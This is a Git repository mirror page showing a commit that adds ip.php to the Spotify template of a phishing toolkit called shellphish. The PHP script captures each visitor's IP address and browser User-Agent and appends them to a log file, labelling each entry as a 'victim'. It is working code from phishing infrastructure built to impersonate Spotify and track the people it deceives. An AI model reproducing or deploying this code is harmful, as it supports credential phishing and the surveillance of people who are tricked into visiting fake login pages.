mirror of
https://github.com/richardsonjf/shellphish.git
synced 2025-12-12 14:09:17 -08:00
Create ip.php
This commit is contained in:
23
sites/spotify/ip.php
Normal file
23
sites/spotify/ip.php
Normal file
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
if (!empty($_SERVER['HTTP_CLIENT_IP']))
|
||||
{
|
||||
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
|
||||
}
|
||||
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
|
||||
{
|
||||
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
|
||||
}
|
||||
else
|
||||
{
|
||||
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
|
||||
}
|
||||
$useragent = " User-Agent: ";
|
||||
$browser = $_SERVER['HTTP_USER_AGENT'];
|
||||
$file = 'ip.txt';
|
||||
$victim = "IP: ";
|
||||
$fp = fopen($file, 'a');
|
||||
fwrite($fp, $victim);
|
||||
fwrite($fp, $ipaddress);
|
||||
fwrite($fp, $useragent);
|
||||
fwrite($fp, $browser);
|
||||
fclose($fp);
|
||||
Reference in New Issue
Block a user